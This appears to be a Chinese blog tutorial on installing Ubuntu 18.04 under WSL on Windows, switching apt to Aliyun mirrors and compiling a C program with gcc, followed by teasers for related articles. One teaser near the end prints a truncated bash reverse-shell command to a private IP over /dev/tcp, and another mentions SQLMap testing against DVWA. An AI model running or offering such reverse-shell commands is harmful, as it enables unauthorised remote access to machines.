Windows下的Linux系统
强调!!!必须是Windows专业版!!!
一、安装运行过程
第一步:打开开发人员模式
![]()
第二步:进入 ’控制面板 ‘——’程序‘——’启用的Windows功能‘——勾选Linux子系统(根据提示进行重启计算机)
![]()
第三步:在Windows商店中下载Ubuntu18.04,进行安装。
![]()
第四步:需要提醒的问题
第二步中可能会出现重启之后,查看“启用的功能”时,Linux子系统 这个功能并未勾选上,这个原因可能是因为
1、中途出现错误,所以你再重复勾选一遍进行安装组件,再重启一遍。2、可能是由于你的window运行库出现问题,这时候就需要利用软件修复一下计算机或者换个版本号(注意:是版本号不是版本,进行更新或者还原)
第五步:如果未出现上述问题,
大概这个过程是很顺利的;重启之后,你需要将你下载好的操作系统打开,根据运行框里面的步骤输入用户名、密码。
![]()
第六步:通过cmd命令提示符打开
![]()
二、进行一些相关操作
接下来会提一些少许Linux操作命令
基础命令
cd ~                      返回根目录
cd + 空格                  也可以返回根目录
cd + '..'                 返回上级目录
ls                        查看当前文件夹下有什么内容
掌握TAB键的一些使用
镜像源
准备镜像源,我这以阿里云镜像源做示范
阿里云镜像源:Ubuntu18.04
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
更换镜像源
更换镜像源
sudo cp sources.list sources.list.bak      备份源文件(copy)
cd /etc/apt/                                进入该文件目录下
ls                                          查看内容
vim sources.list                            用vim编辑器编辑镜像源
进入之后,通过快捷键进行操作
1、按下“G”                                    鼠标自动到第一行
2、接着按下“D”
3、最后按下“shift + g”                        全盘清除
4、按下键键盘 “insert”                        进行输入内容
5、右击鼠标将复制的镜像源粘贴上去
6、按  “ESC”  键                              退出输入模式
7、输入 “ :wq ”                                 保存
8、cat sources.list                           查看镜像源
9、sudo apt-get update                        更新镜像源
10、sudo apt-get upgrade
     这个命令,会把本地已安装的软件,与刚下载的软件列表里对应软件进行对比,如果发现已安装的软件版本太低,就会提示你更新。如果你的软件都是最新版本,会提示:
编写你的C程序
如何运行C程序
进入你的操作系统界面
1、mkdir 名字                                    创建一个目录
2、cd  目录名                                    进入目录
3、touch demo.c                                 创建一个demo的c文件
使vim编辑器显示行号
4、cd ~                                          返回根目录
5、vim ~/.vimrc                          进入之后,开始输入set number保存
6、source ~/.vimrc
7、vim demo.c                                    编写c程序
安装编译器
8、sudo apt-get install gcc                      gcc编译插件
9、gcc -o demo demo.c                              编译
10、./demo                                        运行
后续还待探索…………………………
Windows下的Linux系统的更多相关文章
- windows下远程访问Linux系统中mysql
		
1,查询MySQL数据库是否允许远程ip访问,命令如下: sql语句: use mysql; select host, user from user; 查询结果为127.0.0.1或者localhos ...
 - windows下取linux系统里面的文件
		
方法一:使用原生态的psftp 1.下载psftp.exe http://pan.baidu.com/s/1boVLHKF 2.双击psftp.exe 2.1 输入指令:open IP地址 (例如:o ...
 - windows下删除Linux
		
在Windows下删除Linux系统的方法(附修复MBR的工具下载) 我的电脑安装了双系统,Windows和Linux,不过由于Linux在最近一段时间内不会使用,所以我打算删除Linux. 删除 ...
 - Windows系统下远程Linux系统
		
Windows系统下远程Linux系统 工具:Xmanager 启动界面: 配置保存路径(win7): C:\Users\Administrator\AppData\Roaming\NetSarang ...
 - 如何在Windows环境下安装Linux系统虚拟机
		
如何在Windows环境下安装Linux系统虚拟机 本篇经验写给想要入门学习C语言的小白们.Windows系统因为使用窗口图形化,操作简单,功能多样,所以我们在Windows环境下可以做到很多,但想要 ...
 - Ubuntu上安装和使用SSH,Xming+PuTTY在Windows下远程Linux主机使用图形界面的程序
		
自:http://blog.csdn.net/neofung/article/details/6574002 Ubuntu上安装和使用SSH 网上有很多介绍在Ubuntu下开启SSH服务的文章,但大 ...
 - Xming + PuTTY 在Windows下远程Linux主机
		
Xming + PuTTY 在Windows下远程Linux主机 一.原理 Linux/Unix的X Window具有网络透明性.X Window系统里有一个统一的Server来负责各个程序与 ...
 - 怎么在Windows下安装Linux虚拟机
		
前提:①电脑有安装好VMware Workstation Pro虚拟机,没有的话点此下载并安装.②下载好CentOS-7-x86_64-DVD-1503-01镜像文件,没有点此下载密码:lomg. 1 ...
 - windows下实现linux的远程访问以及linux上文件的上传和下载
		
在网络性能.安全性.可管理性上,Linux有着其他系统无法比拟的强大优势,而服务器对这些方面要求特别高,因此Linux常常被用来做服务器使用.而当我们需要维护linux服务器的时候,就需要远程访问li ...
 
随机推荐
- (七)DVWA之SQL Injection--SQLMap测试(Low)
			
目录结构 一.测试需求分析 二.SQLMap利用SQL注入漏洞,获取数据库信息 1.判断是否存在注入点 2.获取DBMS中所有的数据库名称 3.获取Web应用当前连接的数据库 4.列出数据库中的所有用 ...
 - BitMap算法及其实现(Python)
			
BitMap概述 本文介绍 BitMap 算法的应用背景,算法思想和相关实现细节. 概括而言,BitMap 主要用来解决海量数据中元素查询,去重.以及排序等问题.这里对海量数据场景的强调,似乎暗示了这 ...
 - 常用的反弹shell脚本
			
bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...
 - Grafana6.4.4 + zabbix 4.2
			
环境简介 OS:Centos 7.4 zabbix:4.2.6 Grafana:6.4.4 一.yum 直接安装的方式 官方推荐有几种安装方式我采用yum 直接安装的方式 官方doc: https:/ ...
 - 第一章01-正常情况下Activity的生命周期
			
一.Android下能见到的界面 Window Dialog Toast Activity 二.Activity的生命周期分析 典型情况下的生命周期 是指在有用户参与的情况下,Activity所经过 ...
 - 我去,你竟然还不会用 Java final 关键字
			
写一篇文章容易吗?太不容易了,首先,需要一个安静的环境,这一点就非常不容易.很多小伙伴的办公室都是开放式的,非常吵,况且上班时间写的话,领导就不高兴了:只能抽时间写.其次,环境有了,还要有一颗安静的心 ...
 - Git  Commit 提交规范
			
写好 Commit message 好处多多: 1.统一团队Git commit 日志风格 2.方便日后 Reviewing Code 3.帮助我们写好 Changelog 4.能很好的提升项目整体质 ...
 - TensorFlow从0到1之TensorFlow实现多元线性回归(16)
			
在 TensorFlow 实现简单线性回归的基础上,可通过在权重和占位符的声明中稍作修改来对相同的数据进行多元线性回归. 在多元线性回归的情况下,由于每个特征具有不同的值范围,归一化变得至关重要.这里 ...
 - (五)application/x-www-form-urlencoded(表单请求)
			
原文链接:https://blog.csdn.net/justry_deng/article/details/81042379
 - Tensorflow报错:OMP: Error #15: Initializing libiomp5.dylib, but found libiomp5.dylib already initialized.
			
参考: https://github.com/dmlc/xgboost/issues/1715 解决方法: I solved it with 'conda install nomkl'.